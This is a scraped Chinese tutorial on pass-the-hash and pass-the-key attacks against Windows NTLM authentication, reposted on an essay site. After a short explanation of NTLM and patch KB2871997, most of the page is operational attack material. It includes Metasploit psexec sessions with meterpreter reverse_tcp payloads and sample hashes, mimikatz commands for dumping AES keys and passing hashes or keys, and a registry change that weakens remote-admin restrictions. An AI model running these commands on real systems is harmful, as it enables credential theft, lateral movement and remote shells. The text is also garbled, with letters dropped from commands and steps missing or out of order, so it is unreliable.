首页 > 作文

NTLM

更新时间:2023-03-10 17:15:06 阅读: 评论:0

车座套-红萝卜汤

NTLM
2023年3月10日发(作者:档案制度)

哈希传递攻击原理及利⽤

0x01、Pass-the-hash概述

NTLMHash验证过程

我们可以看看⼯作组中和域环境中的NTLM认证过程

第三步的对⽐,发现⼯作组和域环境的认证⽅式都是⼀样的

唯⼀的不同,就是域环境下多了4和5两个步骤

第四个步骤:

第五个步骤:

但是在⼯作组的环境下也是这样,⽬标不⼀定是DC,hash对应的账号所登录的(有缓存的)⼯作站也可以。

所以,域环境和⼯作组环境下都可以使⽤NTLMhash传递攻击

从⽽我们可以通过第⼀步,进⾏伪造;为什么呢?

相信⼤家⼤部分都是web狗,我就以登陆⽹址为例⼦

哈希传递攻击是基于NTLM认证的⼀种攻击⽅式。哈希传递攻击的利⽤前提是我们获得了某个⽤户的密码哈希值,但是解不开明⽂。这时我们可以利⽤NTLM认证的⼀种缺陷,利⽤⽤户的密码哈希值来进⾏NTLM认证。在域环境中,

⼤量计算机在安装时会使⽤相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使⽤哈希传递攻击登录内⽹中的其他机器。

0x02、hash传递攻击实操

在⼯作组环境中:

Windows2003和之前的机器,可以使⽤本地管理员组内⽤户进⾏攻击。

Windows2003之后的机器,只能是administrator⽤户的哈希值才能进⾏哈希传递攻击,其他⽤户(包括管理员⽤户但是⾮administrator)也不能使⽤哈希传递攻击,会提⽰拒绝访问。

在域环境中:

只能是域管理员组内⽤户(可以是域管理员组内⾮administrator⽤户)的哈希值才能进⾏哈希传递攻击,攻击成功后,可以访问域内任何⼀台机器。

1、msf进⾏hash传递攻击

有些时候,当我们获取到了某台主机的⽤户的密码哈希值,并且该主机的445端⼝打开着。我们则可以利⽤exploit/windows/smb/pxec模块⽤MSF进⾏远程登录(哈希传递攻击)。这个是rhost可以是⼀个主机,也可

以设置⼀个⽹段。

这⾥⽬标主机的WindowsVista之后的机器,所以只能使⽤administrator⽤户进⾏攻击。

(⼀)、⼯作组环境

(⼆)、域环境

当我们获取到了域管理员组内⽤户的密码哈希值,并且该主机的445端⼝打开着。我们则可以利⽤模块⽤MSF进⾏哈希传递攻击。

2、mimikatz进⾏hash传递

(⼀)、⼯作组

(⼆)、域环境

这时候使⽤下⾯这条命令查看是否有权限

0x03、PassTheKey

当机器打了补丁之后,我们发现使⽤域管理员组内⽆法进⾏hash传递攻击,但是administrator账号(sid为500)例外;不管administrator账号怎么修改,或者新增的管理员账号,sid为500,即可进⾏hash传递攻击

要求前提:

域环境下

安装了补丁

0x04、KB2871997补丁怎么回事?

其实KB2871997的补丁并没有多⼤的⽤处,由于在WindowsVista时代,微软就通过将LocalAccountTokenFilterPolicy值默认设置为0来禁⽌⾮administrator账号的远程连接(包括哈希传递攻击),但是administrator⽤户不受影

响。即使⽬标主机更新了KB2871997的补丁,仍然可以使⽤PID=500的⽤户进⾏哈希传递攻击,⽽PID=500的⽤户默认为aministrator,所以仍然可以使⽤administrator⽤户进⾏哈希传递攻击。并且在打了KB2871997补丁的机器

上,通过将LocalAccountTokenFilterPolicy设置为1,也还是可以使⽤普通管理员账号进⾏哈希传递攻击

实验

WindowsServer2008R2:192.168.10.20

域管理员:administrator、xie

未打KB2871997补丁前,使⽤administrator账号可以成功进⾏哈希传递攻击,使⽤管理员账号xie⽆法进⾏哈希传递攻击。

打上KB2871997补丁后,使⽤administrator账号依然可以成功进⾏哈希传递攻击,使⽤管理员账号xie⽆法进⾏哈希传递攻击。

将administrator账号重命名为admin账号后,由于不存在administrator账号了,所以⽆法使⽤administrator账号进⾏哈希传递攻击,但是可以使⽤admin账号紧进⾏哈希传递攻击,因为admin账号的SID值为500。

1.⽤户输⼊urname、password、domainname(交互式才需要这个步骤),客户端会计算hash值保存在本地;

2.客户端将urname明⽂发给DC;

⽣成⼀个16Byte的随机数(challenge)发送给客户端;

4.客户端通过运算⽣成⼀个响应值respon=f(hashes,challenge,other)=>other根据版本变化,例如时间戳来防⽌回访等;

5.客户端将响应值发送给DC;

经过同样的运算result=f(hashes,challenge,other),然后⽐较result和respon,⼀直就验证通过,不⼀致则验证不通过;

7.备注:⽬标不⼀定是DC,hash对应的账号所登录的(有缓存的)⼯作站也可以。

客户端收到服务端返回的TYPE2消息,读取出服务端所⽀持的内容,并取出其中的随机值Challenge,⽤缓存的服务端的密码的NTLM-Hash对其进⾏加密,并与⽤户名、Challenge等⼀起组合得到Net-NTLMHash,最后将NetNTLM-Hash封装到NTLM_AUTH消

服务器接收到客户端发送来的NTLM_AUTH的TYPE3消息后,取出其中的NetNTLM-Hash值,并向DC域控(DomainControl)发送针对客户端的验证请求。该请求主要包含以下三⽅⾯的内容:客户端⽤户名、原始的Challenge和加密后的Challenge(也就是Net

DC根据⽤户名获取该帐号的密码哈希值NTLM-Hash,⽤密码哈希值NTLM-Hash对原始的Challenge进⾏加密得到NetNTLM-Hash。如果加密后的Challenge和服务器发送的⼀致,则意味着⽤户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务

administrator

msf>uexploit/windows/smb/pxec

msfexploit(pxec)>tpayloadwindows/meterpreter/rever_tcp

msfexploit(pxec)>tlhost192.168.10.27

msfexploit(pxec)>trhost192.168.10.14

msfexploit(pxec)>tsmburAdministrator

msfexploit(pxec)>tsmbpass815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6#这⾥LM和NTLM我们已经获取到了

msfexploit(pxec)>exploit

exploit/windows/smb/pxec

msf>uexploit/windows/smb/pxec

msfexploit(pxec)>tpayloadwindows/meterpreter/rever_tcp

msfexploit(pxec)>tlhost192.168.10.11

msfexploit(pxec)>trhost192.168.10.131

msfexploit(pxec)>tsmburtest#test⽤户在域管理员组内,注意这⾥不需要写域前缀

msfexploit(pxec)>tsmbpassAADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1

msfexploit(pxec)>exploit

privilege::debug#先提权

#使⽤administrator⽤户的NTLM哈希值进⾏攻击

kurlsa::pth/ur:⽤户名/domain:⽬标机器IP/ntlm:密码哈希

$

#也可以ip查看

dir192.168.1.5c$

KB2871997

KB2871997

privilege::debug#提升权限

kurlsa::ekeys#抓取aes秘钥

#aes-256传递

kurlsa::pth/ur:⽤户名/domain:域名/aes256:

#aes-128传递

kurlsa::pth/ur:⽤户名/domain:域名/aes128:

#使⽤AES-256进⾏Key传递攻击

kurlsa::pth/ur:administrator/domain:/aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083

#使⽤AES-128进⾏Key传递攻击

kurlsa::pth/ur:administrator/domain:/aes128:4728551c859bbe351e9c11b5d959163e

修改⽬标机器的LocalAccountTokenFilterPolicy为1后,使⽤普通域管理员账号xie也可进⾏哈希传递攻击。

修改LocalAccountTokenFilterPolicy为1

恢复LocalAccountTokenFilterPolicy为0(删除后需要重启才能使修改⽣效)

regaddHKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem/vLocalAccountTokenFilterPolicy/tREG_DWORD/d1/f

regdeleteHKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem/vLocalAccountTokenFilterPolicy/f

本文发布于:2023-03-10 17:15:05,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/zuowen/1678439706206137.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

本文word下载地址:NTLM.doc

本文 PDF 下载地址:NTLM.pdf

标签:NTLM
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图